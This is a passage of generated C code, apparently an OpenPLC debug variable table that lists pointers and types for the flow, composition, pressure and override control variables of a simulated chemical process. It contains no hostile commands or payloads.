+{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.SUB59_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.ADD58_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.FIRST_RUN), BOOL_ENUM}, +{&(RES0__INSTANCE0.FLOW_SET), UINT_ENUM}, +{&(RES0__INSTANCE0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.COMP_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, 